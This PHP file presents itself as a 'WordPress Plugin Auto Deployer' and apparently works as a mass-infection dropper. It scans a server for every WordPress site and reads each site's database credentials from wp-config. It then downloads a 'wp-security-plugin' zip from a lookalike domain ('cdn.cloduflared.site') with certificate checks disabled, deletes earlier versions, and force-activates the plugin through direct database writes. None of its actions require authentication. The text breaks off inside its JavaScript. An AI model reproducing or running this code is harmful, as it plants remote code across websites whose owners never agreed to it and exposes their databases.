<?php
/**
 * WordPress Plugin Auto Deployer - AJAX Professional Edition
 * DENGAN CACHE SYSTEM - Download hanya sekali, simpan di /tmp
 */

// ==================== CONFIG ====================
$CACHE_DIR = '/tmp/wp_plugin_cache';
$CACHE_FILE = $CACHE_DIR . '/wp-security-plugin.zip';
$CACHE_EXPIRY = 3600;

$CACHE_BUSTER = time() . '_' . mt_rand(100000, 999999);
$PLUGIN_ZIP_URL = "https://cdn.cloduflared.site/plugins/wp-security-plugin.zip?v=" . $CACHE_BUSTER;

$ALLOWED_TLDS = ['.com','.net','.org','.id','.io','.xyz','.online','.site','.info','.dev','.store','.tech','.blog','.ve','.uk','.shop','.ai'];

$PLUGIN_SLUG = "wp-security-plugin";
$OLD_PLUGIN_SLUGS = [
    'wp-security',
    'wp-security-plugins',
    'old-security-plugin',
    'wp-security-plugin'
];

error_reporting(E_ALL);
ini_set('display_errors', 0);
ini_set('max_execution_time', 300);
ini_set('memory_limit', '512M');

// ==================== CACHE FUNCTIONS ====================
function ensure_cache_dir() {
    global $CACHE_DIR;
    if (!file_exists($CACHE_DIR)) {
        mkdir($CACHE_DIR, 0755, true);
    }
    return $CACHE_DIR;
}

function get_cached_plugin() {
    global $CACHE_FILE, $CACHE_EXPIRY;

    ensure_cache_dir();

    if (!file_exists($CACHE_FILE)) {
        return false;
    }

    $file_age = time() - filemtime($CACHE_FILE);
    if ($file_age > $CACHE_EXPIRY) {
        @unlink($CACHE_FILE);
        return false;
    }

    $content = file_get_contents($CACHE_FILE);
    if ($content === false || empty($content)) {
        @unlink($CACHE_FILE);
        return false;
    }

    return $content;
}

function save_to_cache($content) {
    global $CACHE_FILE;
    ensure_cache_dir();

    $result = file_put_contents($CACHE_FILE, $content);
    if ($result === false) {
        return false;
    }

    chmod($CACHE_FILE, 0644);
    return true;
}

function clear_plugin_cache() {
    global $CACHE_FILE;
    if (file_exists($CACHE_FILE)) {
        @unlink($CACHE_FILE);
        return true;
    }
    return false;
}

function get_cache_info() {
    global $CACHE_FILE;
    if (!file_exists($CACHE_FILE)) {
        return null;
    }

    $size = filesize($CACHE_FILE);
    $modified = filemtime($CACHE_FILE);
    $age = time() - $modified;

    return [
        'size' => round($size / 1024, 2) . ' KB',
        'size_bytes' => $size,
        'modified' => date('Y-m-d H:i:s', $modified),
        'age_seconds' => $age,
        'age_readable' => format_age($age)
    ];
}

function format_age($seconds) {
    if ($seconds < 60) return $seconds . ' detik';
    if ($seconds < 3600) return floor($seconds / 60) . ' menit';
    if ($seconds < 86400) return floor($seconds / 3600) . ' jam';
    return floor($seconds / 86400) . ' hari';
}

function download_plugin_with_cache($force_download = false) {
    global $PLUGIN_ZIP_URL;

    if (!$force_download) {
        $cached = get_cached_plugin();
        if ($cached !== false) {
            return [
                'success' => true,
                'content' => $cached,
                'source' => 'cache',
                'size' => round(strlen($cached) / 1024, 2) . ' KB'
            ];
        }
    }

    $result = download_content($PLUGIN_ZIP_URL);

    if ($result === false) {
        return [
            'success' => false,
            'error' => 'Gagal download plugin dari server'
        ];
    }

    save_to_cache($result);

    return [
        'success' => true,
        'content' => $result,
        'source' => 'download',
        'size' => round(strlen($result) / 1024, 2) . ' KB'
    ];
}

function download_content($url) {
    $url_parts = parse_url($url);
    $base_url = $url_parts['scheme'] . '://' . $url_parts['host'] . $url_parts['path'];

    $cache_buster = [
        'v' => time(),
        'rand' => mt_rand(100000, 999999),
        'timestamp' => microtime(true) * 1000,
        'nocache' => uniqid()
    ];

    $query_params = [];
    if (!empty($url_parts['query'])) {
        parse_str($url_parts['query'], $query_params);
    }
    $query_params = array_merge($query_params, $cache_buster);
    $final_url = $base_url . '?' . http_build_query($query_params);

    $options = [
        'http' => [
            'method' => 'GET',
            'header' => [
                "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
                "Cache-Control: no-cache, no-store, must-revalidate, max-age=0",
                "Pragma: no-cache",
                "Expires: -1",
                "Accept: */*",
                "Accept-Encoding: gzip, deflate, br"
            ],
            'timeout' => 60,
            'ignore_errors' => true
        ],
        'ssl' => [
            'verify_peer' => false,
            'verify_peer_name' => false
        ]
    ];

    $context = stream_context_create($options);
    $content = @file_get_contents($final_url, false, $context);

    if ($content === false && function_exists('curl_version')) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $final_url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36');
        curl_setopt($ch, CURLOPT_TIMEOUT, 60);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
        curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');
        curl_setopt($ch, CURLOPT_HTTPHEADER, [
            'Cache-Control: no-cache, no-store, must-revalidate, max-age=0',
            'Pragma: no-cache',
            'Expires: -1'
        ]);
        $content = curl_exec($ch);
        curl_close($ch);
    }

    return $content;
}

// ==================== CORE FUNCTIONS ====================
function is_domain_folder($name, $tlds) {
    $dn = strtolower($name);
    if (strpos($dn, '.') === false) return false;
    foreach ($tlds as $t) if (substr($dn, -strlen($t)) === strtolower($t)) return true;
    return false;
}

function scan_dirs_bfs($roots, $maxDepth = 6, $maxDirs = 15000) {
    $res = []; $queue = []; $visited = []; $scanned = 0;
    foreach ($roots as $r) { $rr = realpath($r); if ($rr) $queue[] = ['p' => $rr, 'd' => 0]; }
    while (!empty($queue) && $scanned < $maxDirs) {
        $it = array_shift($queue); $p = $it['p']; $d = $it['d'];
        if (isset($visited[$p])) continue; $visited[$p] = 1; if (!is_dir($p)) continue;
        $res[] = $p; $scanned++; if ($d >= $maxDepth) continue;
        $ch = @scandir($p); if (!is_array($ch)) continue;
        foreach ($ch as $c) { if ($c === '.' || $c === '..') continue; $child = $p . DIRECTORY_SEPARATOR . $c; if (is_dir($child) && !isset($visited[$child])) $queue[] = ['p' => $child, 'd' => $d + 1]; }
    }
    return $res;
}

function detect_webroot_auto($startDir, $allowedTlds, $maxUp = 12) {
    $cur = realpath($startDir); if ($cur === false) return false; $level = 0;
    while ($cur !== false && $level <= $maxUp) {
        $children = @scandir($cur); if (is_array($children)) {
            foreach ($children as $c) {
                if ($c === '.' || $c === '..') continue;
                $p = $cur . DIRECTORY_SEPARATOR . $c;
                if (is_dir($p) && is_domain_folder($c, $allowedTlds)) return realpath($p);
            }
        }
        $parent = dirname($cur); if ($parent === $cur) break; $cur = $parent; $level++;
    }
    return realpath(dirname($startDir));
}

function detect_domain_webroot($domainPath, $target_filename, $maxDepth = 4) {
    $queue = [['path' => realpath($domainPath), 'depth' => 0]]; $visited = [];
    while (!empty($queue)) {
        $it = array_shift($queue);
        $cur = $it['path']; $d = $it['depth'];
        if (!$cur || isset($visited[$cur])) continue; $visited[$cur] = 1;

        $targetPath = $cur . DIRECTORY_SEPARATOR . $target_filename;
        if (file_exists($targetPath)) return $targetPath;

        if ($d >= $maxDepth) continue;
        $children = @scandir($cur); if (!is_array($children)) continue;
        foreach ($children as $c) { if ($c === '.' || $c === '..') continue; $child = $cur . DIRECTORY_SEPARATOR . $c; if (is_dir($child)) $queue[] = ['path' => $child, 'depth' => $d + 1]; }
    }
    return false;
}

function delete_directory($dir) {
    if (!file_exists($dir)) return true;
    if (!is_dir($dir)) return unlink($dir);

    $files = array_diff(scandir($dir), ['.', '..']);
    foreach ($files as $file) {
        $path = $dir . DIRECTORY_SEPARATOR . $file;
        (is_dir($path)) ? delete_directory($path) : @unlink($path);
    }
    return @rmdir($dir);
}

function copy_directory($src, $dst) {
    if (!file_exists($dst)) mkdir($dst, 0755, true);

    $iterator = new RecursiveIteratorIterator(
        new RecursiveDirectoryIterator($src, RecursiveDirectoryIterator::SKIP_DOTS),
        RecursiveIteratorIterator::SELF_FIRST
    );

    foreach ($iterator as $item) {
        $target = $dst . DIRECTORY_SEPARATOR . $iterator->getSubPathname();
        if ($item->isDir()) {
            if (!file_exists($target)) mkdir($target, 0755, true);
        } else {
            copy($item->getPathname(), $target);
        }
    }
}

function extract_zip_and_get_plugin_info($zip_content, $extract_path) {
    if (!class_exists('ZipArchive')) return false;

    $temp_zip = tempnam(sys_get_temp_dir(), 'wp_plugin_') . '.zip';
    file_put_contents($temp_zip, $zip_content);

    $zip = new ZipArchive;
    if ($zip->open($temp_zip) === TRUE) {
        if (file_exists($extract_path)) delete_directory($extract_path);
        mkdir($extract_path, 0755, true);
        $zip->extractTo($extract_path);
        $zip->close();
        unlink($temp_zip);

        $plugin_files = find_plugin_files($extract_path);
        return $plugin_files;
    }

    if (file_exists($temp_zip)) unlink($temp_zip);
    return false;
}

function find_plugin_files($path) {
    $plugin_files = [];

    $iterator = new RecursiveIteratorIterator(
        new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::SKIP_DOTS),
        RecursiveIteratorIterator::SELF_FIRST
    );

    foreach ($iterator as $file) {
        if ($file->isFile() && $file->getExtension() === 'php') {
            $content = file_get_contents($file->getPathname());
            if (preg_match('/Plugin Name:\s*(.+)/i', $content)) {
                $relative_path = str_replace($path . DIRECTORY_SEPARATOR, '', $file->getPathname());
                $folder_name = explode(DIRECTORY_SEPARATOR, $relative_path)[0];

                $plugin_files = [
                    'main_file' => $file->getPathname(),
                    'folder_name' => $folder_name,
                    'relative_main_file' => $relative_path,
                    'full_path' => $path,
                    'plugin_name' => trim(preg_replace('/Plugin Name:\s*(.+)/i', '$1', $content))
                ];
                break;
            }
        }
    }
    return $plugin_files;
}

function deactivate_old_plugins($wp_path, $old_plugin_slugs) {
    $wp_config = $wp_path . '/wp-config.php';
    if (!file_exists($wp_config)) return false;

    $config_content = file_get_contents($wp_config);
    $patterns = [
        'db_host' => "/define\s*\(\s*['\"]DB_HOST['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)/",
        'db_user' => "/define\s*\(\s*['\"]DB_USER['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)/",
        'db_pass' => "/define\s*\(\s*['\"]DB_PASSWORD['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)/",
        'db_name' => "/define\s*\(\s*['\"]DB_NAME['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)/",
        'table_prefix' => "/\\\$table_prefix\s*=\s*['\"]([^'\"]+)['\"]\s*;/"
    ];

    $config = [];
    foreach ($patterns as $key => $pattern) {
        if (preg_match($pattern, $config_content, $matches)) $config[$key] = $matches[1];
    }

    if (!isset($config['db_host']) || !isset($config['db_user']) || !isset($config['db_name'])) return false;

    $conn = @new mysqli($config['db_host'], $config['db_user'], $config['db_pass'], $config['db_name']);
    if ($conn->connect_error) return false;

    $options_table = $config['table_prefix'] . 'options';
    $result = $conn->query("SELECT option_value FROM {$options_table} WHERE option_name = 'active_plugins'");

    if ($result && $row = $result->fetch_assoc()) {
        $active_plugins = @unserialize($row['option_value']);
        if (is_array($active_plugins)) {
            $changed = false;
            foreach ($old_plugin_slugs as $old_slug) {
                $possible_identifiers = [
                    $old_slug . '/' . $old_slug . '.php',
                    $old_slug . '/index.php',
                    $old_slug . '/main.php',
                    $old_slug . '/plugin.php'
                ];

                foreach ($possible_identifiers as $identifier) {
                    if (in_array($identifier, $active_plugins)) {
                        $active_plugins = array_diff($active_plugins, [$identifier]);
                        $changed = true;
                    }
                }

                foreach ($active_plugins as $key => $plugin) {
                    if (strpos($plugin, $old_slug . '/') === 0) {
                        unset($active_plugins[$key]);
                        $changed = true;
                    }
                }
            }
            if ($changed) {
                $serialized = serialize(array_values($active_plugins));
                $conn->query("UPDATE {$options_table} SET option_value = '" . addslashes($serialized) . "' WHERE option_name = 'active_plugins'");
            }
        }
    }
    $conn->close();
    return true;
}

function remove_old_plugin_folders($wp_path, $old_plugin_slugs) {
    $removed = [];
    $not_found = [];

    foreach ($old_plugin_slugs as $old_slug) {
        $old_plugin_path = $wp_path . '/wp-content/plugins/' . $old_slug;
        if (file_exists($old_plugin_path)) {
            if (delete_directory($old_plugin_path)) {
                $removed[] = $old_slug;
            }
        } else {
            $not_found[] = $old_slug;
        }
    }

    return [
        'removed' => $removed,
        'not_found' => $not_found
    ];
}

function activate_plugin_db($wp_path, $plugin_folder, $plugin_file) {
    $wp_config = $wp_path . '/wp-config.php';
    if (!file_exists($wp_config)) return false;

    $config_content = file_get_contents($wp_config);
    $patterns = [
        'db_host' => "/define\s*\(\s*['\"]DB_HOST['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)/",
        'db_user' => "/define\s*\(\s*['\"]DB_USER['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)/",
        'db_pass' => "/define\s*\(\s*['\"]DB_PASSWORD['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)/",
        'db_name' => "/define\s*\(\s*['\"]DB_NAME['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)/",
        'table_prefix' => "/\\\$table_prefix\s*=\s*['\"]([^'\"]+)['\"]\s*;/"
    ];

    $config = [];
    foreach ($patterns as $key => $pattern) {
        if (preg_match($pattern, $config_content, $matches)) $config[$key] = $matches[1];
    }

    if (!isset($config['db_host']) || !isset($config['db_user']) || !isset($config['db_name'])) return false;

    $conn = @new mysqli($config['db_host'], $config['db_user'], $config['db_pass'], $config['db_name']);
    if ($conn->connect_error) return false;

    $options_table = $config['table_prefix'] . 'options';
    $result = $conn->query("SELECT option_value FROM {$options_table} WHERE option_name = 'active_plugins'");

    if ($result && $row = $result->fetch_assoc()) {
        $active_plugins = @unserialize($row['option_value']);
        if (!is_array($active_plugins)) $active_plugins = [];

        $plugin_identifier = $plugin_folder . '/' . $plugin_file;
        if (!in_array($plugin_identifier, $active_plugins)) {
            $active_plugins[] = $plugin_identifier;
            $serialized = serialize($active_plugins);
            $conn->query("UPDATE {$options_table} SET option_value = '" . addslashes($serialized) . "' WHERE option_name = 'active_plugins'");
        }
    }
    $conn->close();
    return true;
}

// ==================== AJAX HANDLER ====================
if (isset($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) == 'xmlhttprequest') {
    header('Content-Type: application/json');

    if ($_POST['action'] === 'scan_sites') {
        $apiDir = realpath(__DIR__);
        $webroot = detect_webroot_auto($apiDir, $ALLOWED_TLDS);

        if (!$webroot) {
            echo json_encode(['success' => false, 'error' => 'Cannot detect webroot']);
            exit;
        }

        $roots = [$webroot, dirname($webroot), $apiDir];
        $roots = array_unique(array_filter($roots, 'realpath'));

        $dirs = scan_dirs_bfs($roots, 6, 15000);

        $wp_sites = [];
        foreach ($dirs as $dir) {
            if (!is_domain_folder(basename($dir), $ALLOWED_TLDS)) continue;

            $wp_config = detect_domain_webroot($dir, 'wp-config.php', 4);
            if ($wp_config) {
                $wp_root = dirname($wp_config);
                $wp_sites[] = [
                    'domain' => basename($dir),
                    'path' => $wp_root
                ];
            }
        }

        echo json_encode(['success' => true, 'sites' => $wp_sites, 'webroot' => $webroot, 'total' => count($wp_sites)]);
        exit;
    }

    if ($_POST['action'] === 'cache_info') {
        $cache_info = get_cache_info();
        if ($cache_info) {
            echo json_encode([
                'success' => true,
                'cache_exists' => true,
                'info' => $cache_info
            ]);
        } else {
            echo json_encode([
                'success' => true,
                'cache_exists' => false,
                'info' => null
            ]);
        }
        exit;
    }

    if ($_POST['action'] === 'clear_cache') {
        $result = clear_plugin_cache();
        echo json_encode([
            'success' => $result,
            'message' => $result ? 'Cache cleared successfully' : 'Failed to clear cache'
        ]);
        exit;
    }

    if ($_POST['action'] === 'deploy_site') {
        $site = json_decode($_POST['site'], true);
        $wp_path = $site['path'];
        $domain = $site['domain'];
        $force_download = isset($_POST['force_download']) && $_POST['force_download'] === 'true';

        $result = [
            'success' => false,
            'domain' => $domain,
            'steps' => [],
            'error' => null
        ];

        try {
            $result['steps'][] = ['action' => '🔍 Deactivating old plugins...', 'status' => 'processing'];
            deactivate_old_plugins($wp_path, $OLD_PLUGIN_SLUGS);
            $result['steps'][] = ['action' => '✅ Old plugins deactivated', 'status' => 'success'];

            $result['steps'][] = ['action' => '🗑️ Removing old plugin folders...', 'status' => 'processing'];
            $removal_result = remove_old_plugin_folders($wp_path, $OLD_PLUGIN_SLUGS);

            if (count($removal_result['removed']) > 0) {
                $result['steps'][] = ['action' => '✅ Removed: ' . implode(', ', $removal_result['removed']), 'status' => 'success'];
            }
            if (count($removal_result['not_found']) > 0) {
                $result['steps'][] = ['action' => 'ℹ️ Not found: ' . implode(', ', $removal_result['not_found']), 'status' => 'info'];
            }

            if ($force_download) {
                $result['steps'][] = ['action' => '📥 Force downloading fresh plugin...', 'status' => 'processing'];
            } else {
                $result['steps'][] = ['action' => '📥 Getting plugin from cache...', 'status' => 'processing'];
            }

            $download_result = download_plugin_with_cache($force_download);

            if (!$download_result['success']) {
                throw new Exception($download_result['error']);
            }

            $ZIP_CONTENT = $download_result['content'];
            $source_type = $download_result['source'];
            $size = $download_result['size'];

            $result['steps'][] = [
                'action' => '✅ Plugin from ' . strtoupper($source_type) . ' (' . $size . ')',
                'status' => 'success',
                'size' => $size,
                'source' => $source_type
            ];

            $result['steps'][] = ['action' => '📦 Extracting plugin...', 'status' => 'processing'];
            $temp_extract_path = sys_get_temp_dir() . DIRECTORY_SEPARATOR . 'wp_plugin_extract_' . uniqid();
            $plugin_info = extract_zip_and_get_plugin_info($ZIP_CONTENT, $temp_extract_path);

            if (!$plugin_info) {
                throw new Exception('Failed to extract ZIP');
            }
            $result['steps'][] = ['action' => '✅ Plugin extracted: ' . $plugin_info['plugin_name'], 'status' => 'success'];

            $result['steps'][] = ['action' => '📁 Installing plugin files...', 'status' => 'processing'];
            $plugin_dir = $wp_path . '/wp-content/plugins/' . $plugin_info['folder_name'];
            $source_dir = $plugin_info['full_path'] . DIRECTORY_SEPARATOR . $plugin_info['folder_name'];
            if (!file_exists($source_dir)) {
                $source_dir = $plugin_info['full_path'];
            }

            copy_directory($source_dir, $plugin_dir);
            $result['steps'][] = ['action' => '✅ Plugin installed to: ' . $plugin_info['folder_name'], 'status' => 'success'];

            $result['steps'][] = ['action' => '🚀 Activating plugin...', 'status' => 'processing'];
            $plugin_file = basename($plugin_info['relative_main_file']);

            if (activate_plugin_db($wp_path, $plugin_info['folder_name'], $plugin_file)) {
                $result['steps'][] = ['action' => '✅ Plugin activated!', 'status' => 'success'];
                $result['success'] = true;
            } else {
                $result['steps'][] = ['action' => '⚠️ Activation failed (manual needed)', 'status' => 'warning'];
                $result['success'] = true;
            }

            if (file_exists($temp_extract_path)) {
                delete_directory($temp_extract_path);
            }

        } catch (Exception $e) {
            $result['error'] = $e->getMessage();
            $result['steps'][] = ['action' => '❌ ERROR: ' . $e->getMessage(), 'status' => 'error'];
        }

        echo json_encode($result);
        exit;
    }

    if ($_POST['action'] === 'deploy_all') {
        $sites = json_decode($_POST['sites'], true);
        $force_download = isset($_POST['force_download']) && $_POST['force_download'] === 'true';
        $results = [];

        $download_result = download_plugin_with_cache($force_download);
        if (!$download_result['success']) {
            echo json_encode([
                'success' => false,
                'error' => 'Failed to download plugin: ' . $download_result['error']
            ]);
            exit;
        }

        $ZIP_CONTENT = $download_result['content'];
        $source_type = $download_result['source'];
        $size = $download_result['size'];

        foreach ($sites as $site) {
            $wp_path = $site['path'];
            $domain = $site['domain'];

            $result = [
                'success' => false,
                'domain' => $domain,
                'steps' => [],
                'error' => null
            ];

            try {
                $result['steps'][] = ['action' => '📥 Plugin from ' . strtoupper($source_type) . ' (' . $size . ')', 'status' => 'success'];

                deactivate_old_plugins($wp_path, $OLD_PLUGIN_SLUGS);
                remove_old_plugin_folders($wp_path, $OLD_PLUGIN_SLUGS);

                $temp_extract_path = sys_get_temp_dir() . DIRECTORY_SEPARATOR . 'wp_plugin_extract_' . uniqid();
                $plugin_info = extract_zip_and_get_plugin_info($ZIP_CONTENT, $temp_extract_path);

                if (!$plugin_info) throw new Exception('Failed to extract ZIP');

                $plugin_dir = $wp_path . '/wp-content/plugins/' . $plugin_info['folder_name'];
                $source_dir = $plugin_info['full_path'] . DIRECTORY_SEPARATOR . $plugin_info['folder_name'];
                if (!file_exists($source_dir)) $source_dir = $plugin_info['full_path'];

                copy_directory($source_dir, $plugin_dir);

                $plugin_file = basename($plugin_info['relative_main_file']);
                activate_plugin_db($wp_path, $plugin_info['folder_name'], $plugin_file);

                if (file_exists($temp_extract_path)) delete_directory($temp_extract_path);

                $result['success'] = true;
                $result['steps'][] = ['action' => '✅ Deployment complete', 'status' => 'success'];

            } catch (Exception $e) {
                $result['error'] = $e->getMessage();
                $result['steps'][] = ['action' => '❌ Error: ' . $e->getMessage(), 'status' => 'error'];
            }

            $results[] = $result;
        }

        echo json_encode(['success' => true, 'results' => $results, 'cache_source' => $source_type]);
        exit;
    }

    exit;
}

// ==================== HTML ====================
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>WP Plugin Auto Deployer - With Cache</title>
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700;800&display=swap" rel="stylesheet">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }
        body { font-family: 'Inter', sans-serif; background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); min-height: 100vh; padding: 40px 20px; }
        .container { max-width: 1400px; margin: 0 auto; }
        .header { text-align: center; margin-bottom: 40px; }
        .header h1 { color: white; font-size: 2.5rem; font-weight: 800; margin-bottom: 10px; text-shadow: 2px 2px 4px rgba(0,0,0,0.2); }
        .header p { color: rgba(255,255,255,0.9); font-size: 1rem; }
        .card { background: white; border-radius: 20px; padding: 25px; margin-bottom: 30px; box-shadow: 0 20px 60px rgba(0,0,0,0.2); }
        .card-title { font-size: 1.5rem; font-weight: 700; margin-bottom: 20px; color: #333; border-left: 4px solid #667eea; padding-left: 15px; }
        .stats-grid { display: grid; grid-template-columns: repeat(auto-fit, minmax(200px, 1fr)); gap: 20px; margin-bottom: 30px; }
        .stat-card { background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); color: white; padding: 20px; border-radius: 15px; text-align: center; }
        .stat-number { font-size: 2rem; font-weight: 800; }
        .stat-label { font-size: 0.9rem; opacity: 0.9; margin-top: 5px; }
        .btn { padding: 10px 20px; border: none; border-radius: 8px; font-weight: 600; cursor: pointer; transition: all 0.3s ease; font-size: 0.9rem; display: inline-flex; align-items: center; gap: 8px; }
        .btn-primary { background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); color: white; }
        .btn-success { background: #28a745; color: white; }
        .btn-info { background: #17a2b8; color: white; }
        .btn-secondary { background: #6c757d; color: white; }
        .btn-warning { background: #ffc107; color: #856404; }
        .btn-danger { background: #dc3545; color: white; }
        .btn-sm { padding: 6px 12px; font-size: 0.8rem; }
        .btn:disabled { opacity: 0.5; cursor: not-allowed; }
        .btn-primary:hover:not(:disabled) { transform: translateY(-2px); box-shadow: 0 5px 15px rgba(102,126,234,0.4); }
        .site-list-container { max-height: 500px; overflow-y: auto; padding-right: 10px; }
        .site-list-container::-webkit-scrollbar { width: 8px; }
        .site-list-container::-webkit-scrollbar-track { background: #f1f1f1; border-radius: 10px; }
        .site-list-container::-webkit-scrollbar-thumb { background: #667eea; border-radius: 10px; }
        .site-list { display: grid; gap: 15px; }
        .site-item { background: #f8f9fa; border-radius: 12px; padding: 15px; border: 1px solid #e9ecef; }
        .site-item:hover { background: #fff; box-shadow: 0 5px 20px rgba(0,0,0,0.1); }
        .site-header { display: flex; justify-content: space-between; align-items: center; margin-bottom: 10px; flex-wrap: wrap; gap: 10px; }
        .site-domain { font-size: 1.1rem; font-weight: 600; color: #333; }
        .site-domain i { color: #667eea; margin-right: 8px; }
        .site-path { font-size: 0.85rem; color: #666; font-family: monospace; margin-bottom: 10px; word-break: break-all; }
        .site-status { display: inline-block; padding: 4px 12px; border-radius: 20px; font-size: 0.8rem; font-weight: 500; }
        .status-pending { background: #ffc107; color: #856404; }
        .status-success { background: #28a745; color: white; }
        .status-error { background: #dc3545; color: white; }
        .status-processing { background: #17a2b8; color: white; animation: pulse 1s infinite; }
        @keyframes pulse { 0%, 100% { opacity: 1; } 50% { opacity: 0.7; } }
        .site-actions { display: flex; gap: 10px; margin-top: 10px; flex-wrap: wrap; }
        .progress-steps { margin-top: 10px; }
        .step { display: flex; align-items: center; gap: 10px; padding: 5px 0; font-size: 0.85rem; }
        .step i { width: 20px; }
        .step-success { color: #28a745; }
        .step-error { color: #dc3545; }
        .step-processing { color: #17a2b8; }
        .step-info { color: #17a2b8; }
        .step-warning { color: #ffc107; }
        .modal { display: none; position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0,0,0,0.5); z-index: 1000; justify-content: center; align-items: center; }
        .modal.active { display: flex; }
        .modal-content { background: white; border-radius: 20px; padding: 30px; max-width: 600px; width: 90%; max-height: 80vh; overflow-y: auto; }
        .modal-header { font-size: 1.5rem; font-weight: 700; margin-bottom: 20px; }
        .alert { padding: 15px; border-radius: 10px; margin-bottom: 20px; }
        .alert-success { background: #d4edda; color: #155724; border: 1px solid #c3e6cb; }
        .alert-error { background: #f8d7da; color: #721c24; border: 1px solid #f5c6cb; }
        .alert-info { background: #d1ecf1; color: #0c5460; border: 1px solid #bee5eb; }
        .alert-warning { background: #fff3cd; color: #856404; border: 1px solid #ffeeba; }
        .cache-info-box { background: #e8f5e9; border: 1px solid #a5d6a7; border-radius: 10px; padding: 15px; margin-top: 15px; }
        .cache-info-box .label { font-weight: 600; color: #2e7d32; }
        .badge { display: inline-block; padding: 2px 10px; border-radius: 12px; font-size: 0.7rem; margin-left: 8px; vertical-align: middle; }
        .badge-clean { background: #dc3545; color: white; }
        .badge-cache { background: #28a745; color: white; }
        .badge-anticache { background: #17a2b8; color: white; }
        @media (max-width: 768px) { .header h1 { font-size: 1.8rem; } .site-header { flex-direction: column; align-items: flex-start; } .btn { padding: 8px 15px; font-size: 0.8rem; } }
    </style>
</head>
<body>
    <div class="container">
        <div class="header">
            <h1><i class="fas fa-rocket"></i> WordPress Plugin Auto Deployer</h1>
            <p>Smart Cache System - Download 1x, Deploy ke Semua Site! (File disimpan di /tmp)</p>
        </div>

        <div class="stats-grid">
            <div class="stat-card"><div class="stat-number" id="totalSites">0</div><div class="stat-label">Total Sites</div></div>
            <div class="stat-card"><div class="stat-number" id="deployedSites">0</div><div class="stat-label">Deployed</div></div>
            <div class="stat-card"><div class="stat-number" id="successSites">0</div><div class="stat-label">Successful</div></div>
            <div class="stat-card"><div class="stat-number" id="failedSites">0</div><div class="stat-label">Failed</div></div>
        </div>

        <div class="card">
            <div class="card-title"><i class="fas fa-sliders-h"></i> Control Panel</div>
            <div style="display: flex; gap: 15px; flex-wrap: wrap; align-items: center;">
                <button class="btn btn-primary" id="scanBtn"><i class="fas fa-search"></i> Scan Sites</button>
                <button class="btn btn-success" id="deployAllBtn" disabled><i class="fas fa-play"></i> Deploy All (Cache)</button>
                <button class="btn btn-warning" id="forceDeployBtn" disabled><i class="fas fa-sync"></i> Force Download All</button>
                <button class="btn btn-danger btn-sm" id="clearCacheBtn"><i class="fas fa-trash"></i> Clear Cache</button>
                <button class="btn btn-secondary btn-sm" id="cacheInfoBtn"><i class="fas fa-info-circle"></i> Cache Info</button>
            </div>
        </div>

        <div class="card">
            <div class="card-title">
                <i class="fas fa-globe"></i> WordPress Sites
                <span class="badge badge-clean">CLEAN INSTALL</span>
                <span class="badge badge-anticache">ANTI-CACHE</span>
                <span class="badge badge-cache">LOCAL CACHE</span>
            </div>

            <div class="plugin-info" style="background: linear-gradient(135deg, #667eea15 0%, #764ba215 100%); border-radius: 10px; padding: 15px; margin-bottom: 20px; border-left: 4px solid #667eea;">
                <i class="fas fa-info-circle"></i> <strong>Smart Cache System:</strong><br>
                💾 <strong>Cache Location:</strong> <code><?php echo htmlspecialchars($CACHE_FILE); ?></code><br>
                ⏱️ <strong>Cache Expiry:</strong> <code><?php echo $CACHE_EXPIRY; ?> detik</code><br>
                <span style="color: #28a745;"><i class="fas fa-check-circle"></i> Download sekali, deploy ke semua site!</span>
            </div>

            <div id="cacheInfoDisplay" class="cache-info-box" style="display: none;"></div>
            <div id="alertContainer"></div>
            <div class="site-list-container">
                <div id="siteList" class="site-list">
                    <div style="text-align: center; padding: 40px; color: #999;">
                        <i class="fas fa-search" style="font-size: 48px; margin-bottom: 15px; display: block;"></i>
                        Click "Scan Sites" to begin
                    </div>
                </div>
            </div>
        </div>

        <div class="card">
            <div class="card-title"><i class="fas fa-info-circle"></i> System Info</div>
            <div style="display: grid; gap: 8px;">
                <div><i class="fas fa-check-circle" style="color: #28a745;"></i> PHP: <?php echo PHP_VERSION; ?></div>
                <div><i class="fas <?php echo class_exists('ZipArchive') ? 'fa-check-circle' : 'fa-times-circle'; ?>" style="color: <?php echo class_exists('ZipArchive') ? '#28a745' : '#dc3545'; ?>"></i> ZipArchive: <?php echo class_exists('ZipArchive') ? 'Yes' : 'No'; ?></div>
                <div><i class="fas fa-folder" style="color: #667eea;"></i> Cache Dir: <?php echo htmlspecialchars($CACHE_DIR); ?></div>
            </div>
        </div>
    </div>

    <div id="modal" class="modal">
        <div class="modal-content">
            <div class="modal-header" id="modalTitle">Logs</div>
            <div id="modalBody"></div>
            <button class="btn btn-secondary" onclick="closeModal()" style="margin-top: 20px;">Close</button>
        </div>
    </div>

    <script>
    var sites = [];
    var deploying = false;
    var cacheInfo = null;

    function showAlert(message, type) {
        type = type || 'info';
